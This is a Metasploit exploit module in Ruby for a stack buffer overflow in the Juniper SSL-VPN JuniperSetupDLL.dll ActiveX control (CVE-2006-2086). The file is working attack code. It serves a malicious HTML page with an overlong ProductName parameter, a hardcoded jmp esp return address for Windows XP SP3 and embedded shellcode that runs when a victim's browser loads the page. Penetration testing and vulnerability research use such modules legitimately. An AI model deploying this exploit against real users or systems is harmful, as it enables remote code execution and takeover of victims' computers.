modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the JuniperSetupDLL.dll
library which is called by the JuniperSetup.ocx ActiveX control,
as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
overly long string to the ProductName object parameter, the stack
is overwritten.
},
'License' => MSF_LICENSE,
'Author' => 'aushack',
'References' =>
[
[ 'CVE', '2006-2086' ],
[ 'OSVDB', '25001' ],
[ 'BID', '17712' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
[ 'Debugging', { 'Ret' => 0x44434241 } ],
],
'DisclosureDate' => '2006-04-26',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize
vname = rand_text_alpha(rand(100) + 1)
# Build the exploit buffer
sploit = rand_text_alpha(2200)
sploit[220, 4] = [target['Ret']].pack('V')
sploit[240, payload.encoded.length] = payload.encoded
# Build out the message
content = %Q|
<html>
<object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
<PARAM NAME="ProductName" VALUE="#{sploit}">
</object>
<script language="javascript">
#{vname}.startSession();
</script>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end